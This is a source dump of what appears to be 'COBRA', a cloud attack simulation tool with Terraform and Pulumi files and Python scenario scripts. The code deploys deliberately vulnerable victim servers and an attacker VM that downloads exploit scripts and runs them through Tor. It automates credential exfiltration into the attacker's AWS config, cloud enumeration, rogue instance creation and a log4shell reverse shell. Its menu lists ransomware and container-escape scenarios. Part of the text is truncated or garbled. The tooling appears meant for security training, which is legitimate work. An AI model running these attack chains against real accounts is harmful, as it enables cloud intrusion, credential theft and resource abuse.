"azureuser" 108 | disable_password_authentication = true 109 | 110 | network_interface_ids = [ 111 | azurerm_network_interface.nic.id, 112 | ] 113 | 114 | admin_ssh_key { 115 | username = "azureuser" 116 | public_key = tls_private_key.ssh_key.public_key_openssh 117 | } 118 | 119 | custom_data = base64encode(<> /etc/sudoers 90 | mkdir /home/$labUbuntuUserName 91 | chown -R $labUbuntuUserName:$labUbuntuUserName /home/$labUbuntuUserName 92 | sudo usermod -s /bin/bash $labUbuntuUserName 93 | #sudo apt update -y 94 | sudo apt install python3-pip -y 95 | sudo apt install python3-flask -y 96 | # sudo apt install docker.io -y 97 | #sudo chmod 666 /var/run/docker.sock 98 | #apt install docker-compose -y 99 | sudo apt install unzip -y 100 | #sudo usermod -aG docker $labUbuntuUserName 101 | wget -P /home/$labUbuntuUserName/ https://cloudlabsdemo99.s3.amazonaws.com/flask-rce.zip 102 | cd /home/$labUbuntuUserName/ 103 | unzip /home/$labUbuntuUserName/flask-rce.zip 104 | pip3 install -r requirements.txt 105 | flask run --host=0.0.0.0 106 | EOF 107 | 108 | # Attach the service account to the VM with specified roles and permissions 109 | service_account { 110 | email = google_service_account.panw_service_account.email 111 | scopes = ["cloud-platform"] 112 | } 113 | 114 | metadata = { 115 | iam-service-account = google_project_iam_custom_role.panw_service_account_role.role_id 116 | } 117 | } 118 | 119 | # External IP for HTTP 5000 access 120 | resource "google_compute_address" "external_ip" { 121 | name = "external8933" 122 | } 123 | 124 | # Create firewall rule to allow HTTP 5000 access 125 | resource "google_compute_firewall" "allow_ssh" { 126 | name = "allow-ssh" 127 | network = "default" 128 | 129 | allow { 130 | protocol = "tcp" 131 | ports = ["5000"] 132 | } 133 | 134 | source_ranges = ["0.0.0.0/0"] 135 | } 136 | 137 | 138 | resource "random_string" "unique_id" { 139 | special = false 140 | length = 5 141 | min_lower = 5 142 | } 143 | 144 | # Create GCP Storage Bucket 145 | resource "google_storage_bucket" "victim_bucket-38383" { 146 | name = "victim-bucket-${random_string.unique_id.result}" 147 | location = "US" 148 | } 149 | 150 | # Grant permissions to GCP VM service account to access the bucket 151 | resource "google_storage_bucket_iam_binding" "grant_vm_access" { 152 | bucket = google_storage_bucket.victim_bucket-38383.name 153 | role = "roles/storage.objectAdmin" 154 | 155 | members = [ 156 | "serviceAccount:${google_compute_instance.victim_vm.service_account[0].email}" 157 | ] 158 | } 159 | 160 | # Create another GCP Secret Service Account 161 | resource "google_service_account" "secret_manager_service_account" { 162 | account_id = "secret-manager-service-account" 163 | display_name = "Secret Manager Service Account" 164 | } 165 | 166 | # Define custom Secret IAM role 167 | resource "google_project_iam_custom_role" "panw_secret_role" { 168 | role_id = "panwSecretAccountRole" 169 | title = "Panw Secret Account Role" 170 | description = "Custom IAM role for Panw Secret Account" 171 | permissions = [ 172 | "resourcemanager.projects.getIamPolicy", 173 | "resourcemanager.projects.get", 174 | "secretmanager.locations.get", 175 | "secretmanager.secrets.list", 176 | "secretmanager.versions.access", 177 | "secretmanager.versions.get", 178 | "secretmanager.versions.list", 179 | "secretmanager.secrets.get" 180 | ] 181 | } 182 | 183 | # Attach the secret manager admin role to the service account 184 | resource "google_project_iam_binding" "panw-secret-role" { 185 | project = var.project_id 186 | role = "projects/${var.project_id}/roles/panwSecretAccountRole" 187 | members = [ "serviceAccount:${google_service_account.secret_manager_service_account.email}" ] 188 | } 189 | 190 | # Create secret in Secret Manager 191 | resource "google_secret_manager_secret" "flag_secret" { 192 | provider = google-beta 193 | secret_id = "flag-secret" 194 | 195 | replication { 196 | user_managed { 197 | replicas { 198 | location = "us-central1" 199 | } 200 | replicas { 201 | location = "us-east1" 202 | } 203 | } 204 | } 205 | } 206 | 207 | resource "google_secret_manager_secret_version" "flag_secret_version" { 208 | provider = google-beta 209 | secret = google_secret_manager_secret.flag_secret.name 210 | secret_data = "7d61f93d434686fde32aad0011b24c13acf65f64" 211 | } 212 | 213 | resource "google_service_account_iam_binding" "token_creator_binding" { 214 | service_account_id = google_service_account.secret_manager_service_account.name 215 | role = "roles/iam.serviceAccountTokenCreator" 216 | 217 | members = [ 218 | "serviceAccount:${google_service_account.panw_service_account.email}", 219 | ] 220 | } 221 | 222 | resource "google_service_account_iam_binding" "account_user_binding" { 223 | service_account_id = google_service_account.secret_manager_service_account.name 224 | role = "roles/iam.serviceAccountUser" 225 | 226 | members = [ 227 | "serviceAccount:${google_service_account.panw_service_account.email}", 228 | ] 229 | } 230 | 231 | # Output the public IP address of the VM 232 | output "vm_public_ip" { 233 | value = google_compute_address.external_ip.address 234 | } 235 | -------------------------------------------------------------------------------- /scenarios/scenario_1/infra/__main__.py: -------------------------------------------------------------------------------- 1 | import pulumi 2 | import pulumi_aws as aws 3 | import os 4 | import sys 5 | import subprocess 6 | import pdb 7 | 8 | def read_public_key(pub_key_path): 9 | # Read the public key from the file 10 | with open(pub_key_path, "r") as f: 11 | public_key = f.read().strip() 12 | 13 | return public_key 14 | 15 | current = aws.get_region() 16 | 17 | key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) 18 | 19 | ubuntu_ami = aws.ec2.get_ami( 20 | filters=[ 21 | aws.ec2.GetAmiFilterArgs( 22 | name="name", 23 | values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], 24 | ), 25 | aws.ec2.GetAmiFilterArgs( 26 | name="virtualization-type", 27 | values=["hvm"], 28 | ), 29 | ], 30 | owners=["099720109477"], 31 | most_recent=True, 32 | 33 | ) 34 | 35 | # Create an IAM role for EC2 instance 36 | role = aws.iam.Role("ec2-role", 37 | assume_role_policy="""{ 38 | "Version": "2012-10-17", 39 | "Statement": [{ 40 | "Effect": "Allow", 41 | "Principal": { 42 | "Service": "ec2.amazonaws.com" 43 | }, 44 | "Action": "sts:AssumeRole" 45 | }] 46 | }""" 47 | ) 48 | 49 | # Attach a policy to the role allowing necessary permissions 50 | policy = aws.iam.RolePolicy("ec2-role-policy", 51 | role=role.name, 52 | policy="""{ 53 | "Version": "2012-10-17", 54 | "Statement": [ 55 | { 56 | "Sid": "VisualEditor0", 57 | "Effect": "Allow", 58 | "Action": [ 59 | "s3:*", 60 | "cloudwatch:*", 61 | "ecr:GetAuthorizationToken", 62 | "ecr:BatchCheckLayerAvailability", 63 | "ecr:GetDownloadUrlForLayer", 64 | "ecr:BatchGetImage", 65 | "logs:CreateLogStream", 66 | "logs:PutLogEvents", 67 | "iam:PassRole", 68 | "iam:ListAttachedUserPolicies", 69 | "iam:GetRole", 70 | "iam:GetRolePolicy", 71 | "ec2:DescribeInstances", 72 | "ec2:CreateKeyPair", 73 | "ec2:RunInstances", 74 | "ec2:TerminateInstances", 75 | "ec2:CreateTags", 76 | "iam:ListRoles", 77 | "iam:ListInstanceProfiles", 78 | "iam:ListAttachedRolePolicies", 79 | "iam:GetPolicyVersion", 80 | "iam:GetPolicy", 81 | "ec2:AssociateIamInstanceProfile" 82 | ], 83 | "Resource": "*" 84 | } 85 | ] 86 | }""" 87 | ) 88 | 89 | sg = aws.ec2.SecurityGroup("web-sg", 90 | ingress=[ 91 | { 92 | "protocol": "tcp", 93 | "fromPort": 8080, 94 | "toPort": 8080, 95 | "cidrBlocks": ["0.0.0.0/0"] 96 | }, 97 | { 98 | "protocol": "tcp", 99 | "fromPort": 8081, 100 | "toPort": 8081, 101 | "cidrBlocks": ["0.0.0.0/0"] 102 | }, 103 | { 104 | "protocol": "tcp", 105 | "fromPort": 9001, 106 | "toPort": 9001, 107 | "cidrBlocks": ["0.0.0.0/0"] 108 | }, 109 | { 110 | "protocol": "tcp", 111 | "fromPort": 80, 112 | "toPort": 80, 113 | "cidrBlocks": ["0.0.0.0/0"] 114 | }, 115 | { 116 | "protocol": "tcp", 117 | "fromPort": 22, 118 | "toPort": 22, 119 | "cidrBlocks": ["0.0.0.0/0"] 120 | } 121 | ], 122 | egress=[{ 123 | "protocol": "-1", 124 | "fromPort": 0, 125 | "toPort": 0, 126 | "cidrBlocks": ["0.0.0.0/0"] 127 | }] 128 | ) 129 | 130 | # User data script to be executed when the instance starts 131 | user_data_script = """ 132 | IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgZG9ja2VyLmlvIC15CnN1ZG8gYXB0IGluc3RhbGwgcHl0aG9uMy1waXAgLXkKc3VkbyBwaXAzIGluc3RhbGwgYXdzLWV4cG9ydC1jcmVkZW50aWFscwpzdWRvIHBpcDMgaW5zdGFsbCBhd3NjbGkKc3VkbyBzeXN0ZW1jdGwgc3RhcnQgZG9ja2VyCnN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBkb2NrZXIKc3VkbyBhcHQgaW5zdGFsbCB1bnppcApzdWRvIHN5c3RlbWN0bCBzdGFydCBkb2NrZXIKc3VkbyBzeXN0ZW1jdGwgZW5hYmxlIGRvY2tlcgpzdWRvIHN5c3RlbWN0bCBzdG9wIHRvbWNhdDkuc2VydmljZQpzdWRvIGFwdCAgaW5zdGFsbCBkb2NrZXItY29tcG9zZSAteQp3Z2V0IGh0dHBzOi8vbGFiLWZpbGVzLTAwZmZhYWJjYy5zMy5hbWF6b25hd3MuY29tL3B1bHVtaS9hcHAuemlwIC1QIC9ob21lL3VidW50dS8KY2QgL2hvbWUvdWJ1bnR1LyAmJiB1bnppcCAvaG9tZS91YnVudHUvYXBwLnppcApzdWRvIGRvY2tlci1jb21wb3NlIC1mIC9ob21lL3VidW50dS9hcHAvZG9ja2VyLWNvbXBvc2UueW1sIHVwIC0tYnVpbGQgLWQKc3VkbyBkb2NrZXIgcnVuIC1kIC1wIDgwODE6ODA4MCBhbmFuZGRvY2tlcmh1Yi9zcHJpbmc0c2hlbGw6bGF0ZXN0 133 | """ 134 | 135 | #Attacker Machine User Script 136 | user_data_script_1 = """ 137 | IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgcHl0aG9uMy1waXAgLXkKc3VkbyBhcHQgaW5zdGFsbCB1bnppcCAgLXkKc3VkbyBhcHQgIGluc3RhbGwgYXdzY2xpIC15CnN1ZG8gYXB0IGluc3RhbGwgZ2l0IC15CnN1ZG8gcGlwMyBpbnN0YWxsIGJzNCAKc3VkbyBhcHQgaW5zdGFsbCBqcSAteQpzdWRvIHBpcDMgaW5zdGFsbCBwYWNrYWdpbmcKCndnZXQgaHR0cHM6Ly9sYWItZmlsZXMtMDBmZmFhYmNjLnMzLmFtYXpvbmF3cy5jb20vcHVsdW1pL2V4cGxvaXQucHkgLVAgL2hvbWUvdWJ1bnR1CmNobW9kICt4IC9ob21lL3VidW50dS9leHBsb2l0LnB5CmNob3duIHVidW50dTp1YnVudHUgL2hvbWUvdWJ1bnR1L2V4cGxvaXQucHkKCndnZXQgaHR0cHM6Ly9sYWItZmlsZXMtMDBmZmFhYmNjLnMzLmFtYXpvbmF3cy5jb20vcHVsdW1pL2V4cGxvaXQuc2ggLVAgL2hvbWUvdWJ1bnR1CmNobW9kICt4IC9ob21lL3VidW50dS9leHBsb2l0LnNoCmNob3duIHVidW50dTp1YnVudHUgL2hvbWUvdWJ1bnR1L2V4cGxvaXQuc2gKCndnZXQgaHR0cHM6Ly9naXRodWIuY29tL05vdFNvU2VjdXJlL2Nsb3VkLXNlcnZpY2UtZW51bS9hcmNoaXZlL3JlZnMvaGVhZHMvbWFzdGVyLnppcAp1bnppcCBtYXN0ZXIuemlwCnBpcDMgaW5zdGFsbCBjbG91ZC1zZXJ2aWNlLWVudW0tbWFzdGVyL2F3c19zZXJ2aWNlX2VudW0vcmVxdWlyZW1lbnRzLnR4dAoKY2QgL2hvbWUvdWJ1bnR1LwpnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL1N1c21pdGhLcmlzaG5hbi90b3JnaG9zdC5naXQKbWtkaXIgL2hvbWUvdWJ1bnR1Ly5hd3MvCnRvdWNoIC9ob21lL3VidW50dS8uYXdzL2NyZWRlbnRpYWxzCmNob3duIC1SIHVidW50dTp1YnVudHUgL2hvbWUvdWJ1bnR1Ly5hd3MvCgpjZCAvaG9tZS91YnVudHUvdG9yZ2hvc3QvCmJhc2ggYnVpbGQuc2gKc3VkbyBweXRob24zIHRvcmdob3N0LnB5IC1zCnNsZWVwIDMwCnN1ZG8gcHl0aG9uMyB0b3JnaG9zdC5weSAtcw== 138 | """ 139 | 140 | instance_profile = aws.iam.InstanceProfile("my-instance-profile", 141 | role=role.name 142 | ) 143 | 144 | # Create an EC2 instance with user data 145 | instance = aws.ec2.Instance("web-server", 146 | instance_type="t2.medium", 147 | ami=ubuntu_ami.id, 148 | iam_instance_profile=instance_profile.name, 149 | security_groups=[sg.name], 150 | user_data=user_data_script, 151 | key_name=key_pair.key_name, 152 | tags={ 153 | "Name": "Cobra-Webserver" 154 | } 155 | ) 156 | 157 | instance1 = aws.ec2.Instance("attacker-server", 158 | instance_type="t2.micro", 159 | ami=ubuntu_ami.id, 160 | security_groups=[sg.name], 161 | user_data=user_data_script_1, 162 | key_name=key_pair.key_name, 163 | tags={ 164 | "Name": "Cobra-Attacker" 165 | } 166 | ) 167 | # Export the public IP of the EC2 instance 168 | print("Web Server Public IP") 169 | pulumi.export("Web Server Public IP", instance.public_ip) 170 | 171 | print("Attacker Server Public IP") 172 | pulumi.export("Attacker Server Public IP", instance1.public_ip) 173 | 174 | pulumi.export("role_name", role.name) 175 | 176 | # Export the policy name 177 | pulumi.export("policy_name", policy.name) 178 | 179 | # Export the security group name 180 | pulumi.export("security_group_name", sg.name) 181 | 182 | # Export the instance profile name 183 | pulumi.export("instance_profile_name", instance_profile.name) 184 | 185 | # Export the instance ID 186 | print("Web Server Instance ID") 187 | pulumi.export("Web Server Instance ID", instance.id) 188 | 189 | print("Attacker Server Instance ID") 190 | pulumi.export("Attacker Server Instance ID", instance1.id) 191 | 192 | pulumi.export("AMI ID", ubuntu_ami.id) 193 | 194 | pulumi.export("Subnet ID", instance.subnet_id) 195 | 196 | pulumi.export("Key Pair Name", key_pair.key_name) 197 | 198 | pulumi.export("Region", current.name) 199 | 200 | -------------------------------------------------------------------------------- /core/main.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import json 6 | from tqdm import tqdm 7 | from time import sleep 8 | from termcolor import colored 9 | from .report import gen_report 10 | from .report import gen_report_2 11 | from scenarios.scenario_1 import scenario_1 12 | from scenarios.scenario_2 import scenario_2 13 | from scenarios.scenario_7 import scenario_7 14 | from scenarios.scenario_3.scenario_3 import scenario_3_execute 15 | from scenarios.scenario_4.scenario_4 import scenario_4_execute 16 | from scenarios.scenario_5.scenario_5 import scenario_5_execute 17 | from scenarios.scenario_6.scenario_6 import scenario_6_execute 18 | 19 | def loading_animation(): 20 | chars = "/—\\|" 21 | for _ in range(10): 22 | for char in chars: 23 | print(f"\rLoading {char}", end="", flush=True) 24 | time.sleep(0.1) 25 | 26 | 27 | def print_ascii_art(text): 28 | ascii_art = pyfiglet.figlet_format(text) 29 | print(colored(ascii_art, color="cyan")) 30 | 31 | def select_cloud_provider(): 32 | print(colored("Select Cloud Provider:", color="yellow")) 33 | print(colored("1. AWS", color="green")) 34 | print(colored("2. Azure", color="green")) 35 | print(colored("3. GCP", color="green")) 36 | while True: 37 | try: 38 | choice = int(input(colored("Enter your choice (1/2/3/4): ", color="yellow"))) 39 | if choice not in [1, 2, 3, 4, 5]: 40 | raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, 4 or 5.", color="red")) 41 | return choice 42 | except ValueError as e: 43 | print(e) 44 | 45 | def select_attack_scenario(): 46 | print(colored("Select Attack Scenario of:", color="yellow")) 47 | print(colored("1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning", color="green")) 48 | print(colored("2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilege escalation, rogue identity creation & persistence", color="green")) 49 | print(colored("3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="green")) 50 | print(colored("4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access", color="green")) 51 | print(colored("5. Instance takeover, abuse s3 access & perform ransomware using external KMS key", color="green")) 52 | print(colored("6. Azure Web Exploit, Abuse Managed Identity, Extract Secrets from Key Vault", color="green")) 53 | print(colored("7. Container Escape & Cluster Takeover in EKS", color="green")) 54 | print(colored("8. Exit", color="green")) 55 | while True: 56 | try: 57 | choice = int(input(colored("Enter your choice: ", color="yellow"))) 58 | if choice not in [1, 2, 3, 4, 5, 6, 7, 8]: 59 | raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, 4, 5, 6, 7 or 8.", color="red")) 60 | return choice 61 | except ValueError as e: 62 | print(e) 63 | 64 | def get_credentials(): 65 | while True: 66 | try: 67 | access_key = input(colored("Enter Access Key: ", color="yellow")) 68 | if not access_key: 69 | raise ValueError(colored("Access Key cannot be empty.", color="red")) 70 | secret_key = input(colored("Enter Secret Key: ", color="yellow")) 71 | if not secret_key: 72 | raise ValueError(colored("Secret Key cannot be empty.", color="red")) 73 | return access_key, secret_key 74 | except ValueError as e: 75 | print(e) 76 | 77 | def execute_scenario(x, manual): 78 | try: 79 | # Call the scenario function from the imported module 80 | if x == 1: 81 | scenario_1.ScenarioExecution().execute(manual) 82 | elif x == 2: 83 | scenario_2.ScenarioExecution().scenario_2_execute() 84 | elif x == 3: 85 | scenario_3_execute() 86 | elif x == 4: 87 | scenario_4_execute() 88 | elif x == 5: 89 | scenario_5_execute() 90 | elif x == 6: 91 | scenario_6_execute() 92 | elif x == 7: 93 | scenario_7.ScenarioExecution().scenario_7_execute() 94 | elif x == 8: 95 | exit 96 | else: 97 | print("Invalid Scenario Selected") 98 | print(colored("Scenario executed successfully!", color="green")) 99 | except Exception as e: 100 | print(colored("Error executing scenario:", color="red"), str(e)) 101 | 102 | def post_execute_scenario(x): 103 | try: 104 | # Call the scenario function from the imported module 105 | if x == 1: 106 | scenario_1.ScenarioExecution().post_execution() 107 | elif x == 2: 108 | scenario_2.ScenarioExecution.post_execution("None") 109 | elif x == 7: 110 | scenario_7.ScenarioExecution.post_execution("None") 111 | else: 112 | print("Invalid Scenario Selected") 113 | print(colored("Thank you for using COBRA!", color="green")) 114 | except Exception as e: 115 | print(colored("Error executing scenario:", color="red"), str(e)) 116 | 117 | def main(action, simulation, scenario, manual): 118 | tool_name = "C O B R A" 119 | print_ascii_art(tool_name) 120 | if action == 'launch': 121 | if simulation is True: 122 | scenario_choice = select_attack_scenario() 123 | if scenario_choice == 1: 124 | # Pass the selected scenario module to execute 125 | execute_scenario(1, manual) 126 | elif scenario_choice == 2: 127 | execute_scenario(2, manual) 128 | elif scenario_choice == 3: 129 | execute_scenario(3, manual) 130 | elif scenario_choice == 4: 131 | execute_scenario(4, manual) 132 | elif scenario_choice == 5: 133 | execute_scenario(5, manual) 134 | elif scenario_choice == 6: 135 | execute_scenario(6, manual) 136 | elif scenario_choice == 7: 137 | execute_scenario(7, manual) 138 | #print(colored("Scenario coming soon!", color="yellow")) 139 | elif action == 'post-launch': 140 | if simulation is True: 141 | scenario_choice = select_attack_scenario() 142 | if scenario_choice == 1: 143 | # Pass the selected scenario module to execute 144 | post_execute_scenario(1) 145 | elif scenario_choice == 2: 146 | post_execute_scenario(2) 147 | elif scenario_choice == 7: 148 | post_execute_scenario(7) 149 | elif action == 'status' and scenario == "cobra-scenario-1": 150 | subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack ls", shell=True) 151 | elif action == 'status' and scenario == "cobra-scenario-2": 152 | subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack ls", shell=True) 153 | elif action == 'destroy' and scenario == "cobra-scenario-1": 154 | subprocess.call("cd ./scenarios/scenario_1/infra && pulumi destroy -s cobra-scenario-1 --yes ", shell=True) 155 | elif action == 'destroy' and scenario == "cobra-scenario-2": 156 | scenario_2.ScenarioExecution.scenario_2_destroy("none") 157 | elif action == 'destroy' and scenario == "cobra-scenario-3": 158 | subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s cobra-scenario-3 --yes", shell=True) 159 | elif action == 'destroy' and scenario == "cobra-scenario-4": 160 | subprocess.call("cd ./scenarios/scenario_4/infra && pulumi destroy -s cobra-scenario-4 --yes", shell=True) 161 | elif action == 'destroy' and scenario == "cobra-scenario-5": 162 | subprocess.call("cd ./scenarios/scenario_5/infra && pulumi destroy -s cobra-scenario-5 --yes", shell=True) 163 | elif action == 'destroy' and scenario == "cobra-scenario-6": 164 | subprocess.call("cd ./scenarios/scenario_6/infra && terraform destroy --auto-approve", shell=True) 165 | elif action == 'destroy' and scenario == "cobra-scenario-7": 166 | subprocess.call("cd ./scenarios/scenario_7/infra && pulumi destroy -s cobra-scenario-7 --yes", shell=True) 167 | 168 | else: 169 | print('No options provided. --help to know more') 170 | 171 | if __name__ == "__main__": 172 | main() -------------------------------------------------------------------------------- /scenarios/scenario_1/scenario_1.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | import json 4 | from tqdm import tqdm 5 | from time import sleep 6 | from termcolor import colored 7 | from core.helpers import generate_ssh_key 8 | from core.helpers import loading_animation, upload_file_to_server 9 | from core.report import gen_report 10 | 11 | class ScenarioExecution: 12 | def __init__(self): 13 | pass 14 | 15 | def execute(self, manual): 16 | print("-"*30) 17 | print(colored("Executing Scenario 1 : Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning ", color="red")) 18 | self.generate_ssh_key() 19 | self.loading_animation() 20 | print("-"*30) 21 | print(colored("Rolling out Infra", color="red")) 22 | self.loading_animation() 23 | print("-"*30) 24 | self.remove_file() 25 | self.execute_pulumi() 26 | 27 | print("-"*30) 28 | print(colored("Bringing up the Vulnerable Application", color="red")) 29 | self.loading_animation() 30 | 31 | sleep_duration = 300 32 | with tqdm(total=sleep_duration, desc="Loading") as pbar: 33 | while sleep_duration > 0: 34 | sleep_interval = min(1, sleep_duration) 35 | sleep(sleep_interval) 36 | 37 | pbar.update(sleep_interval) 38 | sleep_duration -= sleep_interval 39 | 40 | print("-"*30) 41 | print(colored("Export Meta Data of Infra", color="red")) 42 | 43 | if manual is True: 44 | print(colored("Lab environment ready, use --post-launch for further attacks")) 45 | return 46 | else: 47 | print("-"*30) 48 | print(colored("Get into the attacker machine - Tor Node", color="red")) 49 | self.loading_animation() 50 | 51 | self.get_data() 52 | self.execute_exploit() 53 | self.aws_cloud_enumeration() 54 | self.ec2_takeover() 55 | self.exfiltrate_credentials() 56 | self.anomalous_infra_rollout() 57 | self.reverse_shell() 58 | 59 | print("-"*30) 60 | print(colored("Generating Report", color="red")) 61 | self.loading_animation() 62 | self.generate_report() 63 | 64 | def generate_ssh_key(self): 65 | generate_ssh_key() 66 | 67 | def loading_animation(self): 68 | 69 | loading_animation() 70 | 71 | def remove_file(self): 72 | base_directory = os.path.abspath('.') 73 | sub_directory = "core" 74 | file_name = "cobra-scenario-1-output.json" 75 | file_path = os.path.join(base_directory, sub_directory, file_name) 76 | if os.path.exists(file_path): 77 | os.remove(file_path) 78 | print("File '{}' found and deleted.".format(file_path)) 79 | else: 80 | print("File '{}' not found.".format(file_path)) 81 | 82 | def execute_pulumi(self): 83 | subprocess.call("pulumi -C scenarios/scenario_1/infra/ up -s cobra-scenario-1 --yes", shell=True) 84 | subprocess.call("pulumi -C scenarios/scenario_1/infra/ stack -s cobra-scenario-1 output --json >> core/cobra-scenario-1-output.json", shell=True) 85 | 86 | def get_data(self): 87 | 88 | with open("./core/cobra-scenario-1-output.json", "r") as file: 89 | data = json.load(file) 90 | 91 | self.ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] 92 | self.WEB_SERVER_PUBLIC_IP = data["Web Server Public IP"] 93 | self.ATTACKER_SERVER_INSTANCE_ID = data["Attacker Server Instance ID"] 94 | self.WEB_SERVER_INSTANCE_ID = data["Web Server Instance ID"] 95 | self.SUBNET_ID = data["Subnet ID"] 96 | self.AMI_ID = data["AMI ID"] 97 | self.KEY_PAIR_NAME = data["Key Pair Name"] 98 | self.REGION = data["Region"] 99 | self.INSTANCE_NAME = "Cobra-Anomalous" 100 | 101 | 102 | def execute_exploit(self): 103 | print("-"*30) 104 | print(colored("Running exploit on Remote Web Server", color="red")) 105 | self.loading_animation() 106 | subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+self.ATTACKER_SERVER_PUBLIC_IP+" 'sudo python3 torghost/torghost.py -s && sudo python3 exploit.py "+self.WEB_SERVER_PUBLIC_IP+" > /home/ubuntu/.aws/credentials'", shell=True) 107 | 108 | def ec2_takeover(self): 109 | print("-"*30) 110 | print(colored("Initiate EC2 takeover, got Shell Access", color="red")) 111 | self.loading_animation() 112 | 113 | def exfiltrate_credentials(self): 114 | print("-"*30) 115 | print(colored("Exfiltrate Node Role Credentials and loading Creds in Attackers Machine", color="red")) 116 | self.loading_animation() 117 | 118 | print("-"*30) 119 | print(colored("Role Details", color="red")) 120 | self.loading_animation() 121 | subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+self.ATTACKER_SERVER_PUBLIC_IP+" 'aws sts get-caller-identity'", shell=True) 122 | 123 | def aws_cloud_enumeration(self): 124 | print("-"*30) 125 | print(colored("Enumerating AWS Cloud environment", color="red")) 126 | self.loading_animation() 127 | subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+self.ATTACKER_SERVER_PUBLIC_IP+" 'pip3 install -r /cloud-service-enum-master/aws_service_enum/requirements.txt && pip3 install awsebcli --upgrade && pip3 install --upgrade awscli && python3 /cloud-service-enum-master/aws_service_enum/aws_enum_services.py'", shell=True) 128 | 129 | def anomalous_infra_rollout(self): 130 | print("-"*30) 131 | print(colored("Anomalous Infra Rollout", color="red")) 132 | self.loading_animation() 133 | 134 | aws_command = ( 135 | f"aws ec2 run-instances --image-id {self.AMI_ID} --instance-type t2.micro --key-name {self.KEY_PAIR_NAME} --subnet-id {self.SUBNET_ID} --region {self.REGION} --tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={self.INSTANCE_NAME}}}]' | jq -r '.Instances[].InstanceId'" 136 | ) 137 | 138 | # Construct the full SSH command with jq and xargs 139 | ssh_command = (f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{self.ATTACKER_SERVER_PUBLIC_IP} \"{aws_command}\" ") 140 | 141 | # Execute the command 142 | try: 143 | instance_id = subprocess.check_output(ssh_command, shell=True, text=True) 144 | print(instance_id) 145 | except subprocess.CalledProcessError as e: 146 | print(f"Command failed with error: {e}") 147 | 148 | subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {self.INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=cobra-scenario-1 --suppress-outputs --suppress-progress > /dev/null 2>&1", shell=True) 149 | 150 | def reverse_shell(self): 151 | print("-"*30) 152 | print(colored("Exploiting log4shell application and perform reverse-shell", color="red")) 153 | self.loading_animation() 154 | subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+self.ATTACKER_SERVER_PUBLIC_IP+" 'sudo python3 torghost/torghost.py -s && bash exploit.sh "+self.WEB_SERVER_PUBLIC_IP+":8081 "+self.ATTACKER_SERVER_PUBLIC_IP+"'", shell=True) 155 | 156 | 157 | def generate_report(self): 158 | gen_report(self.ATTACKER_SERVER_INSTANCE_ID, self.ATTACKER_SERVER_PUBLIC_IP, self.WEB_SERVER_PUBLIC_IP, self.WEB_SERVER_INSTANCE_ID) 159 | 160 | def post_execution(self): 161 | self.get_data() 162 | print(colored("Select Post Simulation Task:", color="yellow")) 163 | print(colored("1. Upload file in Victim Webserver", color="green")) 164 | print(colored("2. Upload file in Attacker Server", color="green")) 165 | print(colored("3. SSH inside Victim Webserver", color="green")) 166 | print(colored("4. SSH inside Attacker Server", color="green")) 167 | print(colored("5. Execute RCE web attack", color="green")) 168 | print(colored("6. Perform AWS Cloud enumeration using exploited app credential", color="green")) 169 | print(colored("7. Perform anomalous compute provision", color="green")) 170 | print(colored("8. Perform log4shell exploit and Reverse Shell ", color="green")) 171 | print(colored("9. Exit", color="green")) 172 | while True: 173 | try: 174 | choice = int(input(colored("Enter your choice: ", color="yellow"))) 175 | if choice not in [1, 2, 3, 4, 5, 6, 7, 8, 9]: 176 | raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, 4, 6 or 5.", color="red")) 177 | if choice == 1: 178 | source_file = input(colored("Enter file path: ", color="yellow")) 179 | upload_file_to_server(source_file,server_username='ubuntu', server_ip=self.WEB_SERVER_PUBLIC_IP, server_directory='/home/ubuntu/') 180 | print("Uploaded Successfully!!") 181 | return 182 | elif choice == 2: 183 | source_file = input(colored("Enter file path: ", color="yellow")) 184 | upload_file_to_server(source_file,server_username='ubuntu', server_ip=self.ATTACKER_SERVER_PUBLIC_IP, server_directory='/home/ubuntu/') 185 | print("Uploaded Successfully!!") 186 | return 187 | elif choice == 3: 188 | subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+self.WEB_SERVER_PUBLIC_IP+"", shell=True) 189 | return 190 | elif choice == 4: 191 | subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+self.ATTACKER_SERVER_PUBLIC_IP+"", shell=True) 192 | return 193 | elif choice == 5: 194 | self.execute_exploit() 195 | self.ec2_takeover() 196 | self.exfiltrate_credentials() 197 | return 198 | elif choice == 6: 199 | self.aws_cloud_enumeration() 200 | return 201 | elif choice == 7: 202 | self.execute_exploit() 203 | self.ec2_takeover() 204 | 